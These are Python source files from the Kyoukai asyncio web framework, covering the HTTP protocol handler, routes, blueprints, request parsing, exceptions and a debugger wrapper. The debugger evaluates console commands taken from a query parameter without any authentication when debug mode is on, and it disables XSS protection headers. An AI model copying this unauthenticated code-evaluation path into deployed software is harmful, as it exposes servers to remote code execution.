        """
        self.ip, self.client_port = transport.get_extra_info("peername")
        self._transport = transport

        self.logger.debug("Recieved connection from {}:{}".format(*transport.get_extra_info("peername")))

    def connection_lost(self, exc):
        """
        Called when a connection is lost.
        """
        self._empty_state()

    def data_received(self, data: bytes):
        """
        Called when data is received.

        This is the bulk of the processing.
        """
        # Feed the data to the parser.
        try:
            self.parser.feed_data(data)
        except httptools.HttpParserInvalidMethodError as e:
            ctx = HTTPRequestContext(None, self.app, self.parent_context)
            # Transform it into a 405.
            exc = exc_from(e)
            exc.code = 405
            self.loop.create_task(self._safe_handle_error(ctx, exc))
        except httptools.HttpParserError as e:
            ctx = HTTPRequestContext(None, self.app, self.parent_context)
            # Transform it into a 400.
            exc = exc_from(e)
            exc.code = 400
            self.loop.create_task(self._safe_handle_error(ctx, exc))

        # Wait on the event.
        if self.waiter is None:
            self.waiter = self.loop.create_task(self._wait())
            return

    def handle_resp(self, response: Response):
        """
        Shortcut for :meth:``write_response``.
        """
        return self.write_response(response)

    def write_response(self, response: Response):
        """
        Writes a :class:`Response` to the protocol

        :param response: The response to write.
        """
        data = response.to_bytes()
        self.write(data)

    # Protocol level methods.
    def write(self, data: bytes):
        """
        Writes to the transport stream.

        This is an **internal method.** This should not be used by the developer.

        .. versionadded:: 1.9

        :param data: The data to send, byte encoded.
        """
        self._transport.write(data)

    def _empty_state(self):
        """
        Closes locks and the waiter.
        """
        # Turn off the waiter.
        if self.waiter is not None:
            self.waiter.cancel()

        self.waiter = None

        # Empty out the lock waiters by cancelling the tasks.
        for waiter in self.lock._waiters:
            waiter.cancel()

    def close(self):
        """
        Closes the transport stream.

        This an **internal method.** This should not be used by the developer.

        .. versionadded:: 1.9
        """
        # Empty the state.
        self._empty_state()

        # Then, close the transport.
        self._transport.close()






"""
Asphalt framework mixin for Kyokai.
"""
import logging

import asyncio
from functools import partial
from typing import Union

from asphalt.core import Component, resolve_reference, Context
from typeguard import check_argument_types

from kyoukai.app import Kyoukai
from kyoukai.protocol import KyoukaiProtocol
from kyoukai.context import HTTPRequestContext

logger = logging.getLogger("Kyoukai")


class KyoukaiComponent(Component):
    def __init__(self, app: Union[str, Kyoukai], ip: str = '0.0.0.0', port: int = 4444, **cfg):
        assert check_argument_types()
        if not isinstance(app, Kyoukai):
            self.app = resolve_reference(app)
        else:
            self.app = app
        self.ip = ip
        self.port = port
        self._extra_cfg = cfg

        # Reconfigure the app with the extra config.
        self.app.reconfigure(**self._extra_cfg)

        # Set HTTPRequestContext's `cfg` val to the extra config.
        HTTPRequestContext.cfg = self._extra_cfg

        self.server = None

    def get_protocol(self, ctx: Context):
        return KyoukaiProtocol(self.app, ctx)

    async def start(self, ctx: Context):
        """
        Starts a Kyokai server.
        """
        # Call on_startup.
        await self.app.call_on_startup()
        protocol = partial(self.get_protocol, ctx)
        self.server = await asyncio.get_event_loop().create_server(protocol, self.ip, self.port)
        logger.info("Kyoukai serving on {}:{}.".format(self.ip, self.port))






"""
Stores HTTPRequestContext
"""
from asphalt.core import Context
from typeguard import check_argument_types

import kyoukai


class HTTPRequestContext(Context):
    """
    Sub-class of context used for HTTP requests.
    """

    cfg = {}

    def __init__(self, request, app, parent: Context):
        assert check_argument_types()
        super().__init__(parent=parent)
        self._request = request

        self._app = app

    @property
    def request(self) -> 'kyoukai.Request':
        return self._request

    @request.setter
    def request(self, req: 'kyoukai.Request'):
        self._request = req

    @property
    def app(self) -> 'kyoukai.Kyoukai':
        return self._app






"""
Module for Kyokai routes.
"""
import re
import sre_constants

from asphalt.core import Context

import kyoukai
from kyoukai.context import HTTPRequestContext
from kyoukai.util import wrap_response
from kyoukai.converters import _converters, convert_args
from kyoukai.exc import HTTPException


class Route(object):
    """
    A route is simply a wrapped coroutine object for a request.

    :param blueprint: The blueprint this route is associated with.
    :param matcher: The regular expression to match routes against.
    :param methods: A :class:`list` of methods that are allowed in this route.
    :param bound: Internal. Used for views.
    :param run_hooks: If the request should run pre and post hooks, or be exempt.
    """

    def __init__(self, blueprint,
                 matcher: str, methods: list,
                 bound: bool = False,
                 run_hooks: bool = True):
        """
        Create a new Route.
        """
        self._match_str = matcher
        self._matcher = None
        self.allowed_methods = methods
        self._wrapped_coro = None

        self.bp = blueprint

        # Used for bounded routes.
        self._bound = bound

        self._view_class = None

        self.name = "<Undefined route>"

        self._should_run_hooks = run_hooks

    @property
    def matcher(self):
        """
        Gets the compiled matcher for the current route.
        :return:
        """
        if self._matcher is None:
            try:
                self._matcher = re.compile(self.bp.prefix + self._match_str)
            except sre_constants.error as e:
                # Raise a new HTTPException(500) from this.
                exc = HTTPException(500)
                exc.route = self
                raise exc from e
        return self._matcher

    @property
    def self(self):
        if self._bound:
            return self._view_class
        else:
            return

    @self.setter
    def self(self, vc):
        if self._bound:
            self._view_class = vc
        else:
            raise TypeError("Attempted to update view class on unbounded route")

    def kyokai_match(self, path: str):
        """
        Check if a given path matches the specified route.
        """
        # If it's a hard match, do an lower == match
        matched = self.matcher.fullmatch(path)
        return matched

    def kyokai_method_allowed(self, meth: str):
        """
        Check if the method matches.
        """
        if meth.lower() == "head":
            return True
        meths = [m.lower() for m in self.allowed_methods]
        if 'any' in meths:
            return True
        in_m = meth.lower() in meths
        return in_m

    def create(self, coro):
        """
        Set the internal coroutine state from the passed in value.
        """
        self._wrapped_coro = coro
        self.name = coro.__name__
        return self

    def __repr__(self):
        return "<Route '{}' in blueprint {}>".format(self.name, repr(self.bp))

    def __call__(self, coro):
        """
        Sets the coroutine.
        """
        return self.create(coro)

    async def invoke(self, ctx: HTTPRequestContext, exception=None):
        """
        Invoke the route, calling the underlying coroutine.
        """
        if self._should_run_hooks:
            # Run pre-request hooks.
            hooks = self.bp.get_pre_hooks(ctx)
            if hooks:
                for hook in hooks:
                    # Await the hook.
                    ctx = await hook(ctx)
                    if not isinstance(ctx, Context):
                        # idc about the subtype, as long as it's a context.
                        raise TypeError("Hook {} returned non-context".format(hook.__name__))

        m_obj = self.matcher.fullmatch(ctx.request.path)
        if m_obj:
            matches = m_obj.groups()
        else:
            matches = []

        # Invoke the coroutine.
        # Construct the params.
        params = []
        if self._bound:
            params.append(self.self)

        params.append(ctx)

        if exception:
            # This is an error handler, so add the exception.
            params.append(exception)

        if matches:
            params += list(matches)

        # Convert the arguments.
        args = await convert_args(ctx, self._wrapped_coro, *params, bound=self._bound)

        result = await self._wrapped_coro(*args)
        # Wrap the result.
        result = wrap_response(result, response_cls=ctx.app.response_cls)

        if self._should_run_hooks:
            hooks = self.bp.get_post_hooks(ctx)
            if hooks:
                for hook in hooks:
                    result = await hook(ctx, result)
                    if not isinstance(result, kyoukai.Response):
                        raise TypeError("Hook {} returned non-response".format(hook.__name__))
                    result = wrap_response(result)

        # Set the request object.
        result.request = ctx.request

        return result

    def match(self, route: str, method: str):
        """
        Short way of checking if the route matches.

        This does *not* check if the method matches.
        """
        matched = self.kyokai_match(route)
        if matched:
            return self






"""
A request represents a client wanting to get a resource from the server.

This is automatically passed into your app route when an appropriate path is recieved.
"""
import json
from http import cookies
import urllib.parse as uparse
from io import BytesIO

from werkzeug import formparser
from werkzeug.datastructures import Headers, MultiDict, OrderedMultiDict
from werkzeug.http import parse_options_header

from kyoukai.exc import HTTPException

class Request(object):
    """
    A Request object.

    This should not be manually created. Instead, it is automatically provided by Kyokai.

    If you must create one, use :meth:`from_data` or :meth:`parse`.

    :ivar method: The HTTP method (GET, POST, PUT, etc)
    :ivar path: The full path of the request (``/api/v1/whatever``)
    :ivar headers: A :class:`IOrderedDict` representing the headers of the request.
    :ivar query: The raw query string (``a=b&c=d``)
    :ivar body: The raw body of the request.

    :ivar cookies: A :class:`cookies.SimpleCookie` containing the cookies of the request.

    :ivar args: The arguments from the query string, parsed out.
    :ivar form: The form data for the request. If the request was JSON, this is automatically parsed out.
    :ivar values: THe arguments and the form combined.

    :ivar source: The source IP of the request.
    """

    def __init__(self):
        """
        Creates a new request.

        The request is probably useless right now, but the HTTP parser will then go on to set the right attributes on
        it.
        """
        # Empty values.
        self.method = ""

        # This differs from path/query because it's the full `/a/b/?c=d`.
        # This is then urlsplit into a path and query string in _parse_path.
        self.full_path = b""

        self.path = ""
        self.query = ""
        self.version = ""

        # Empty body, as this isn't known until it's passed in.
        self.body = ""

        self.cookies = cookies.SimpleCookie()

        # We use a Headers object here as it serves our purposes the best.
        self.headers = Headers()

        # Args, values, and forms are OrderedMultiDicts.
        self.args = OrderedMultiDict()
        self._form = OrderedMultiDict()
        self.values = OrderedMultiDict()

        # Extra values, for hooks.
        self.extra = {}

        # Files are not, however.
        self.files = None

        self.should_keep_alive = False

    @property
    def form(self) -> dict:
        """
        Returns the form data for the specified request.
        JSON forms are lazy loaded. This means that parsing is done in the first call to `.form`, rather than when
        the request is created.
        """
        if self._form:
            return self._form
        # Parse JSON, otherwise.
        if self.headers.get("Content-Type") == "application/json":
            self._form = json.loads(self.body)
            self.values.update(self._form if self._form else {})
        return self._form

    def _parse_path(self):
        """
        urlsplits the full path.
        """
        split = uparse.urlsplit(self.full_path.decode())
        self.path = split.path
        self.query = split.query

    def _parse_query(self):
        """
        Parses the query string, and updates `args` with it as appropriate.
        """
        new_args = uparse.parse_qs(self.query)
        # Unpack the urlparsed arguments.
        for name, value in new_args.items():
            if len(value) == 1:
                self.args[name] = value[0]
            elif len(value) == 0:
                self.args[name] = None
            else:
                self.args[name] = value

    def _parse_body(self):
        """
        Parses the body data.
        """
        if self.headers.get("Content-Type") != "application/json":
            # Parse the form data out.
            f_parser = formparser.FormDataParser()

            # Wrap the body in a BytesIO.
            body = BytesIO(self.body.encode())

            # The headers can't be directly passed into Werkzeug.
            # Instead, we have to get a the custom content type, then pass in some fake WSGI options.
            mimetype, c_t_args = parse_options_header(self.headers.get("Content-Type"))

            if mimetype:
                # We have a valid mimetype.
                # This is good!
                # Now parse the body.

                # Construct a fake WSGI environment.
                env = {"Content-Type": self.headers.get("Content-Type"),
                       "Content-Length": self.headers.get("Content-Length")}

                # Take the boundary out of the Content-Type, if applicable.
                boundary = c_t_args.get("boundary")
                if boundary is not None:
                    env["boundary"] = boundary

                # Get a good content length.
                content_length = self.headers.get("Content-Length")
                try:
                    content_length = int(content_length)
                except ValueError:
                    content_length = len(self.body)
                except TypeError:
                    # NoneType...
                    raise HTTPException(411)

                # Then, the form body itself is parsed.

                data = f_parser.parse(body,
                                      mimetype,
                                      content_length,
                                      options=env
                                      )

                # Extract the new data from the form parser.
                self._form.update(data[1])
                self.files.update(data[2])

    def parse_all(self):
        """
        Called when all data is parsed.

        This tells the request to re-parse everything based off of the raw data.

        This is an internal method.

        .. versionadded:: 1.9
        """
        # Call _parse_path to parse the path.
        self._parse_path()
        # Call _parse_query to parse the query string.
        self._parse_query()
        # Call _parse_body to parse the body.
        self._parse_body()






"""
Kyoukai exceptions.
"""


class HTTPException(Exception):
    """
    A basic HTTP error.

    This is used to quickly escape out of a function, by raising the appropriate HTTP Exception.

    .. code:: python

        if not some_condition:
            raise HTTPException(404)
    """
    def __init__(self, errcode, msg=None,
                 route=None):
        self.code = errcode

        self.msg = msg

        self.route = route

    def __repr__(self):
        return "HTTP {} {}".format(self.code, self.msg)


def exc_from(exc: Exception):
    """
    Creates a new HTTP 500 INTERNAL SERVER ERROR exception from a previous exception.

    :param exc: The exception to convert.
    :return: The new :class:`HTTPException`.
    """
    if isinstance(exc, HTTPException):
        return exc
    nwexc = HTTPException(500)
    # Set the context.
    nwexc.__context__ = exc
    return nwexc






"""
Kyōkai blueprints are simply groups of routes.

They're a simpler way of grouping your routes together instead of having to import your app object manually all of
the time.
"""
import collections
import logging

import re
import typing

from kyoukai.exc import HTTPException
from kyoukai.route import Route
from kyoukai.views import View


class Blueprint(object):
    """
    A Blueprint is a container for routes.

    Blueprints have 'parent' blueprints - they inherit error handlers and hooks from them. The root blueprint has no
    parent, so it does not inherit from anything.
    Note that if a Blueprint that is not the root blueprint has a parent value of None, it is automatically set to
    inherit the root blueprint of the app.

    Blueprints allow routes like normal application objects - in fact, the application object's route function is
    implemented with an underlying root blueprint.

    .. code:: python

        bp = Blueprint("test_bp")

        @bp.route("/hello/world")
        async def hello_world(ctx: HTTPRequestContext):
            return "Hello, world"!

    Per-blueprint error handlers can also be added:

    .. code:: python

        @bp.errorhandler(500)
        async def handle_500(ctx: HTTPRequestContext, e: Exception):
            async with threadpool():
                ctx.dbsession.rollback()

    :param name: The name identifier of the blueprint.
    :param parent: The parent blueprint.
        Children blueprint inherit routes from the parent, accessible via ``Parent.routes``.
        They are also used for searching in routes when a blueprint is checked.

        If this is None, then it will be automatically set when the blueprint is added as a child to a parent
        blueprint.

        The only Blueprint that should have no parent during the run time of the app is the root blueprint.

    :param url_prefix: The prefix to automatically add to the start of each route.

    :cvar route_cls: The Route class to use for wrapping new Routes.
    """

    route_cls = Route

    def __init__(self, name: str, parent: 'Blueprint' = None,
                 url_prefix: str = ""):
        self._prefix = url_prefix
        self._name = name

        self.routes = []

        self.errhandlers = {}

        # The parent of this blueprint.
        self._parent = parent
        if self._parent is not None:
            # Add ourselves as a child.
            self._parent.add_child(self)

        # The children of this blueprint.
        self._children = {}

        self._request_hooks = collections.defaultdict(lambda *args, **kwargs: collections.OrderedDict())

        self.logger = logging.getLogger("Kyoukai.Blueprint." + self._name if self._name else "root")

    def __len__(self):
        """
        Gets the number of routes attached to this Blueprint.

        This takes into account children routes.
        """
        tmplen = len(self.routes)
        for child in self.children.values():
            tmplen += len(child)

        return tmplen


    def bind_view(self, view: View, *args, **kwargs):
        """
        Binds a view class to a Blueprint.

        This takes the *class*, not the instance, as a param.

        It also takes args and keyword args to instantiate the class with.
        """
        # Create a new instance of the class.
        new_view = view(*args, **kwargs)
        # Don't bind if it's already binded.
        if new_view._binded:
            return
        for route in view.get_routes():
            route.bp = self
            self.routes.append(route)

        # Add before_request and after_request from the new_view.
        def __wrapper(func):
            async def ___internal_wrapper(*args, **kwargs):
                await func(*args, **kwargs)

            return ___internal_wrapper

        if hasattr(new_view, "before_request"):
            # Create wrappers for the new views.
            nf = __wrapper(new_view.before_request)
            nf.__name__ = new_view.__class__.__name__ + ".before_request"
            self.before_request(nf)

        if hasattr(new_view, "after_request"):
            # Create wrappers for the new view.
            nf = __wrapper(new_view.after_request)
            nf.__name__ = new_view.__class__.__name__ + ".after_request"
            self.after_request(nf)

        self.logger.info("Bound view {}".format(view.__name__))

    def __repr__(self):
        return "<Blueprint '{}' with {} routes>".format(self._name, len(self.routes))

    def add_child(self, blueprint: 'Blueprint'):
        """
        Add a child Blueprint to the current blueprint.

        .. warning::
            This will override the parent of the blueprint, replacing it with this one.

        :param blueprint: The child blueprint.
        """
        self._children[blueprint._name] = blueprint
        self.logger.info("Registered Blueprint {} with {} new routes".format(blueprint._name, len(blueprint)))
        blueprint.parent = self

    def before_request(self, coro):
        """
        Set a coroutine to run as before the request.

        This coroutine should take in the HTTPRequestContext, and return a new HTTPRequestContext.
        """
        # Unlike before, don't use Route objects.
        # Just append it to the route handlers.
        self._request_hooks["pre"][coro.__name__] = coro
        return coro

    def after_request(self, coro):
        """
        Set a coroutine to run after the request.

        This coroutine should take in a :class:`Response`, and return a :class:`Response`.
        """
        self._request_hooks["post"][coro.__name__] = coro
        return coro

    def get_pre_hooks(self, ctx):
        """
        Get the pre-request hooks in a list.

        This goes from top-level blueprint to bottom-level blueprint in terms of order.

        :param ctx: The context of the request.
        """
        if self.parent is not None:
            bps = self.parent.get_pre_hooks(ctx)
        else:
            bps = []

        # Return the list of our hooks, merged with the other list.
        return bps + list(self._request_hooks["pre"].values())

    def get_post_hooks(self, ctx):
        """
        Get the post-request hooks in a list.

        This goes from top-level blueprint to bottom-level blueprint in terms of order.

        :param ctx: The context of the request.
        """
        if self.parent is not None:
            bps = self.parent.get_post_hooks(ctx)
        else:
            bps = []

        # Return the list of our hooks, merged with the other list.
        return bps + list(self._request_hooks["post"].values())

    def gather_routes(self, route: str, method: str) -> typing.List[Route]:
        """
        Gathers a list of routes from all children which match the specified path.

        This will traverse down all children blueprints, and call .match() on them.
        Then it will traverse down our routes, and check if the routes match.

        .. versionadded:: 1.8.5

        :param route: The path to match.
        :param method: The method to match. Used only for `HEAD` and `ANY` matching.
        :return: A list of routes that matched.
        """
        matches = []
        for route_obb in self.routes:
            assert isinstance(route_obb, Route)
            matched = route_obb.match(route, method)
            if matched:
                matches.append(matched)

        # Gather the routes on the children.
        for child in self.children.values():
            matched = child.gather_routes(route, method)
            if matched:
                matches += matched

        return matches

    def match(self, route: str, method: str):
        """
        Match a route.

        This will search down our routes, and then down our children's routes, to see if we can find a match for the
        specified route.

        .. versionchanged:: 1.8.5

            This is now effectively only used on the root blueprint. Children blueprints should have this called
            explicitly by other handlers to match routes only on those blueprints.

        :param route: The route to match, e.g ``/abc/def``.
        :param method: The method of the route.

        :raises: A :class:`kyoukai.exc.HTTPException` with code 415 if the method is not valid.
        :returns: The :class:`Route` if the route was matched, or None.
        """
        matches = self.gather_routes(route, method)

        if not matches:
            return None
        else:
            # Loop through each route, and check the method.
            # If no method matches, then raise the HTTPException. Otherwise, return the route.
            # This allows for multiple routes with the same method.
            for route in matches:
                if route.kyokai_method_allowed(method):
                    return route
            else:
                # This is called when no return successfully hit.
                raise HTTPException(405)

    @property
    def parent(self) -> 'Blueprint':
        """
        :returns: The parent of this blueprint.
        """
        return self._parent

    @parent.setter
    def parent(self, bp: 'Blueprint'):
        """
        Sets the parent blueprint.
        """
        self._parent = bp

    @property
    def children(self):
        """
        :returns: A :class:`list` of the children of this blueprint.
        """
        return self._children

    @property
    def prefix(self):
        """
        Calculates the prefix using the parent blueprints.
        :return: The full prefix, including the parent prefix.
        """
        if self.parent is None:
            return self._prefix
        return self.parent.prefix + self._prefix

    def wrap_route(self, regex, coroutine, *, methods: list = None, run_hooks=True):
        """
        Wraps a route in a :class:`Route` object.

        The class that this returns can be configured with the ``route_cls`` attribute of the Blueprint. it is
        automatically called with the specified regular expression.

        :param regex: The regular expression to match the path to. This uses standard Python :mod:`re` syntax.
                Group matches are automatically extracted from the regex, and passed as arguments.

        :param methods: The list of allowed methods, e.g ["GET", "POST"].
                You can check the method with `request.method`.

        :param coroutine: The coroutine handler to take in, which

        :param run_hooks: If pre and post request hooks are ran.

        :return: The new :class:`Route` object.
        """
        if not methods:
            methods = ["GET"]

        r = self.route_cls(self, regex, methods, run_hooks=run_hooks)
        r.create(coroutine)

        return r

    def add_route(self, route: Route):
        """
        Adds a route object to the routing table.

        .. note::

            This will set the blueprint of the specified route to ourselves, overwriting any other routes.

        :param route: The route object to add.
        :return: The Route.
        """
        route.bp = self
        self.routes.append(route)

        return route

    def route(self, regex, *, methods: list = None, run_hooks=True):
        """
        Convenience decorator to create a new route.

        This is equivalent to:

        .. code:: python

            route = bp.wrap_route(regex, callable, methods, run_hooks)
            bp.add_route(route)


        :param regex: The regular expression to match the path to. This uses standard Python :mod:`re` syntax.
                Group matches are automatically extracted from the regex, and passed as arguments.

        :param methods: The list of allowed methods, e.g ["GET", "POST"].
                You can check the method with `request.method`.

        :param run_hooks: Should the pre and post request hooks run automatically?
                This is set to True by default.
        """

        def _add_route_inner(coro):
            route = self.wrap_route(regex, coro, methods=methods, run_hooks=run_hooks)
            self.add_route(route)
            return route

        return _add_route_inner

    def get_errorhandler(self, code: int) -> Route:
        """
        Not to be used by the user/dev - internal function used to traverse down the parent's error handlers.
        """
        err_handler = self.errhandlers.get(code)

        if err_handler:
            return err_handler

        if self.parent is None:
            # We can't get the parent's error handler, oh well.
            return None

        return self.parent.get_errorhandler(code)

    def add_errorhandler(self, code: int, err_handler: Route):
        """
        Adds an error handler to the dictionary of error handlers for this route.

        :param code: The error code that this error handler should handle.

        :param err_handler: A :class:`Route` object that handles the error.
                Error handlers are just modified routes, so the use of a Route object here is correct.

        :return: The original Route, but with the ``bp`` attribute set to this Blueprint.
        """
        err_handler.bp = self
        self.errhandlers[code] = err_handler

        return err_handler

    def errorhandler(self, code: int, run_hooks=False):
        """
        Convenience decorator to add an error handler.

        This is equivalent to:

        .. code:: python

            route = bp.wrap_route("", coro, methods=[], run_hooks=False)
            bp.add_errorhandler(code, route)
        """

        def _add_route_inner(coro):
            route = self.wrap_route("", coro, methods=[], run_hooks=run_hooks)
            self.add_errorhandler(code, route)
            return route

        return _add_route_inner






from .app import Kyoukai
from .request import Request
from .response import Response
from .context import HTTPRequestContext
from .blueprints import Blueprint
from .route import Route
from .views import View
from .asphalt import KyoukaiComponent
from .exc import HTTPException
from .util import VERSION, VERSIONT, static_filename
from .protocol import KyoukaiProtocol






"""
.. versionadded:: 1.8

The Kyoukai debugger is a subset of the Werkzeug debugger.

It uses the Werkzeug debugger for the heavy lifting, whilst providing this as a wrapper around to ensure that it acts
properly inside the very different Kyoukai HTTP server.
"""
import mimetypes
import os
import typing

from werkzeug.debug import get_current_traceback
from werkzeug import debug

from kyoukai.context import HTTPRequestContext
from kyoukai.response import Response


class KyoukaiDebugger:
    """
    The main debugger class.

    You should never create this yourself. Only the application object should create this.
    """

    def __init__(self, app):
        self.app = app

        self.frames = {}
        self.tracebacks = {}

    def debug(self, ctx: HTTPRequestContext, exc: Exception) -> typing.Tuple[bool, Response]:
        """
        Produces debug output for the application in a new template.
        """
        if not self.app.debug:
            return

        # Check the request's params.
        params = ctx.request.args

        debugger = params.get("__debugger__")
        if debugger == "yes":
            command = params.get("cmd")
            # Switch based on the command.
            if command is None:
                return Response(code=404, body="404")
            elif command == "resource":
                # Send a resource down the line.
                filename = params.get("f")
                # Get the __file__ of the werkzeug debugger.
                wz_f = os.path.dirname(debug.__file__)
                filename = os.path.join(wz_f, 'shared', os.path.basename(filename))
                # Guess the content type from the filename.
                mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
                if os.path.exists(filename):
                    with open(filename, 'rb') as f:
                        return False, Response(body=f.read(), code=200, headers={"Content-Type": mimetype})
                else:
                    return False, Response(body="404", code=404)
            else:
                # It's a console command.
                frame = self.frames.get(int(ctx.request.args.get('frm')))
                if frame is None:
                    return False, Response(body="404", code=404)
                # Run the console command inside the frame.
                result = frame.console.eval(command)
                return False, Response(body=result, code=200, headers={"Content-Type": "text/html"})
        else:
            # Get the traceback, now.
            traceback = get_current_traceback(
                skip=0, show_hidden_frames=True,
                ignore_system_exceptions=False)
            for frame in traceback.frames:
                self.frames[frame.id] = frame
            self.tracebacks[traceback.id] = traceback
            # Render the base page.
            body = traceback.render_full(evalex=True, evalex_trusted=True, )
            r = Response(code=500, body=body.encode(), headers={"X-XSS-Protection": "0"})
            return True, r






"""
A Kyoukai app is the core container of a web application based upon the framework.
"""

import asyncio
import inspect
import io
import mimetypes
import os
import logging
import traceback
import typing
from urllib.parse import urlsplit

try:
    import magic
except (ImportError, OSError):
    _has_magic = False
else:
    _has_magic = True
from asphalt.core import Context

from asphalt.core.runner import run_application
from typeguard import check_argument_types

from kyoukai.debugger import KyoukaiDebugger

from kyoukai.blueprints import Blueprint
from kyoukai.context import HTTPRequestContext
from kyoukai.util import static_filename, wrap_response
from kyoukai.exc import HTTPException

from kyoukai.response import Response
from kyoukai.request import Request

from kyoukai.route import Route
from kyoukai.views import View

from kyoukai.renderers.base import Renderer
from kyoukai.renderers import mako_renderer

try:
    from kyoukai.renderers import jinja_renderer

    _has_jinja2 = True
except ImportError:
    jinja_renderer = None
    _has_jinja2 = False


class Kyoukai(object):
    """
    A Kyoukai app.

    This is the core component to your web application based on Kyoukai.

    :param name:
        The name of the app. This is passed into the root blueprint as the name, which shows up in exceptions.
    :type name: :class:`str`

    :cvar request_cls: The class to use to create Requests.
    :cvar response_cls: The class to use to create wrapped Responses.
    """
    request_cls = Request
    response_cls = Response

    def __init__(self, name: str, **kwargs):
        """
        Create a new app.
        """

        self.name = name
        self.loop = asyncio.get_event_loop()

        self.logger = logging.getLogger("Kyoukai")

        self.error_handlers = {}

        # Define the config.
        self.config = kwargs

        # Define the "root" blueprint, which is used for @app.request.
        self._root_bp = Blueprint(name, None)

        self.debug = kwargs.get("debug", False)
        self._debugger = KyoukaiDebugger(self)

        # Define the component here so it can be checked easily.
        self.component = None

        # On startup function.
        self._on_startup = lambda app: None

        self._renderer = None

        self.udsh = None

        self.reconfigure(**kwargs)

    def reconfigure(self, **cfg: dict):
        """
        Reconfigures the app using the parameters passed in from the config.

        This is used, for example, with Asphalt's config and the KyoukaiComponent's consume rest behaviour when
        dealing with keyword arguments.

        :param cfg: A dictionary of config values to reconfigure the application with.
        :return: The new configuration.
        """
        self.config = {**self.config, **cfg}

        # Define the renderer.
        if self._renderer is None:
            render = self.config.get("renderer", "mako")
            if render == "mako":
                self._renderer = mako_renderer.MakoRenderer(self.config.get("template_directory"))
            elif render == "jinja2":
                if not _has_jinja2:
                    raise ImportError("Jinja2 is not installed; cannot be used as a renderer")
                else:
                    self._renderer = jinja_renderer.Jinja2Renderer(self.config.get("loader"))

        # Check if we should use the default static handler.
        if self.udsh is None:
            self.udsh = self.config.get("use_static_handler", True)
            if self.udsh:
                new_route = self.root.wrap_route(r'/static/(.*)', self.default_static_handler, methods=["ANY"])
                self.root.add_route(new_route)

        return self.config

    @property
    def renderer(self) -> Renderer:
        """
        :return: The current :class:`kyoukai.renderers.Renderer` configured for this application.
        """
        return self._renderer

    @property
    def root(self):
        """
        This property is a way to access the root blueprint.

        The root blueprint is the parent of all registered blueprints in the application. It can be used to directly
        route onto the top-level, however it is recommended to just use :meth:`Kyoukai.route` and similar to run onto
        the root blueprint.
        """

        return self._root_bp

    def register_blueprint(self, bp: Blueprint):
        """
        Registers a blueprint as a sub-blueprint to the root blueprint.

        :return: The modified Blueprint with the correct parent.
        """
        assert check_argument_types()
        self._root_bp.add_child(bp)
        if bp.parent is None:
            bp.parent = self._root_bp
        return bp

    def render(self, filename: str, **kwargs) -> str:
        """
        Render a template using the currently loaded rendering engine.

        :param filename: The filename of the template to load and render.
        :type filename: str

        :param kwargs: Additional arguments to pass to the template renderer.
                These are directly passed to :meth:`mako.template.Template.render` to render the template.

        :return: A :class:`str` containing the rendered information.
        """
        return self.renderer.render(filename, **kwargs)

    def render_template(self, filename: str, code=200, **kwargs) -> Response:
        """
        Render a template using the currently loaded rendering engine.

        Unlike :meth:`Kyoukai.render`, this returns a :class:`Response` object.

        :param filename: The filename of the template to load and render.
        :type filename: str

        :param code: The response code to add into the Response.

        :param kwargs: Additional arguments to pass to the template renderer.
                These are directly passed to :meth:`mako.template.Template.render` to render the template.

        :return: A :class:`Response` object with the rendered template.
        """
        data = self.render(filename, **kwargs)
        # Wrap it in a response.
        return Response(code, data, headers={"Content-Type": "text/html"})

    def get_static_path(self, filename: str) -> str:
        """
        Gets a sanitized static path.

        This will use the current working directory and the `static_dir` defined by the configuration, or `static` if
        that is not specified, to build the full path.

        :param filename: The filename to look up.
        :return: A :class:`str` with the fully built path.
        """
        return os.path.join(os.getcwd(), self.config.get("static_dir", "static"), static_filename(filename))

    def get_static_file(self, filename: str) -> io.BufferedIOBase:
        """
        Opens and returns a static file from the path.

        Internally, this uses :meth:`Kyoukai.get_static_path` to sanitize the path.

        :param filename: The filename to load.
        :return: A file object opened in binary mode, attached to the file.
        :rtype: :class:`io.BufferedIOBase`
        """
        fname = self.get_static_path(filename)
        if not os.path.exists(fname):
            return None
        else:
            return open(os.path.join(os.getcwd(), self.config.get("static_dir", "static"), fname), 'rb')

    def get_static(self, filename: str) -> Response:
        """
        Gets a file, using static, but returns a Response instead of the file handle.
        """
        content = self.get_static_file(filename)
        if not content:
            raise HTTPException(404)

        with content:
            path = self.get_static_path(filename)
            mimetype = mimetypes.guess_type(path)[0]
            if not mimetype:
                if _has_magic:
                    mimetype = magic.from_file(path, mime=True)
                    if isinstance(mimetype, bytes):
                        mimetype = mimetype.decode()
                else:
                    mimetype = "application/octet-stream"
            return Response(200, body=content.read(), headers={"Content-Type": mimetype})

    async def default_static_handler(self, ctx: HTTPRequestContext, filename: str):
        """
        A default static file handler.

        This is automatically registered as ``/static/`` on the root blueprint, unless ``use_static_handler=False``
        is passed into the app's configuration.

        .. versionadded:: 1.8.6
        """
        # Unparse the filename.
        newpath = urlsplit(filename).path

        # Get the static file.
        return self.get_static(newpath)

    def _match_route(self, path, meth) -> Route:
        """
        Match a route, based on the regular expression of the route.

        :return: The :class:`kyoukai.Route` of the route that matches, or None if no route matches.
        :raises: :class:`kyoukai.exc.HTTPException` if the route matches, but the method is not allowed.
        """
        return self._root_bp.match(path, meth)

    def route(self, regex, *, methods: list = None, run_hooks=True):
        """
        Convenience decorator to create a new route.

        This is equivalent to:

        .. code:: python

            route = bp.wrap_route(regex, callable, methods, run_hooks)
            bp.add_route(route)

        .. note::

            This function is a shortcut to ``app.root.route(*args, **kwargs)``.

        :param regex: The regular expression to match the path to. This uses standard Python :mod:`re` syntax.
                Group matches are automatically extracted from the regex, and passed as arguments.

        :param methods: The list of allowed methods, e.g ["GET", "POST"].
                You can check the method with `request.method`.

        :param run_hooks: Should the pre and post request hooks run automatically?
                This is set to True by default.
        """
        return self._root_bp.route(regex, methods=methods, run_hooks=run_hooks)

    def errorhandler(self, code: int):
        """
        Convenience decorator to add an error handler.

        This is equivalent to:

        .. code:: python

            route = bp.wrap_route("", coro, methods=[], run_hooks=False)
            bp.add_errorhandler(code, route)

        .. note::

            This function is a shortcut to ``app.root.errorhandler(code)``.
        """
        return self._root_bp.errorhandler(code)

    def log_request(self, ctx: HTTPRequestContext, code: int = 200):
        """
        Logs a request to the logger.

        This is an **internal** method and should not be used by user code.

        :param ctx: The :class:`kyoukai.context.HTTPRequestContext` to log from.
        :param code: The error code to log. Defaults to 200.
        """
        try:
            route = ctx.request.path
        except AttributeError:
            # *really* bad request - ignore it.
            return
